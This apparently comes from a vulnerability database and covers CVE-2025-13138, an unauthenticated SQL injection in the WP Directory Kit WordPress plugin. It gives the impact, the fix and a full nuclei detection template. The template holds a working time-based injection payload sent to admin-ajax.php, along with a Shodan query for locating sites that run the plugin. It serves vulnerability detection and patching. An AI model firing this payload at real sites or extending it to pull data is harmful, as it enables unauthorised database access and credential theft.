HexBrain

Browse / CVEs / CVE-2025-13138

CVE-2025-13138

WP Directory Kit <= 1.4.3 - Unauthenticated SQL Injection

highseverity
1.6%likelihood of exploitation, next 30 days
77%of all CVEs are less likely
Readycheck to confirm it

The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'columns_search' parameter of the select_2_ajax() function in all versions up to, and including, 1.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

An unauthenticated attacker can extract sensitive information from the WordPress database including user credentials, posts, and other data.

Fix

Update WP Directory Kit plugin to version 1.4.4 or later.

How to confirm it

Send: @timeout: 10s
Positive when: duration>=7 and status_code == 200 and contains(body, "success")

Run it with nuclei: nuclei -id CVE-2025-13138 -u <target>

The full check
id: CVE-2025-13138

info:
  name: WP Directory Kit <= 1.4.3 - Unauthenticated SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'columns_search' parameter of the select_2_ajax() function in all versions up to, and including, 1.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    An unauthenticated attacker can extract sensitive information from the WordPress database including user credentials, posts, and other data.
  remediation: |
    Update WP Directory Kit plugin to version 1.4.4 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpdirectorykit/wp-directory-kit-143-unauthenticated-sql-injection-via-select-2-ajax-function
    - https://plugins.trac.wordpress.org/browser/wpdirectorykit/tags/1.4.3/application/controllers/Wdk_frontendajax.php#L546
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"plugins/wpdirectorykit/"
  tags: cve,cve2025,wordpress,wp-plugin,sqli,wpdirectorykit,unauth,wp,time-based

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wdk_public_action&page=wdk_frontendajax&function=select_2_ajax&table=category_m&columns_search=category_title)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(7)))a)--%20-&q[term]=test

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from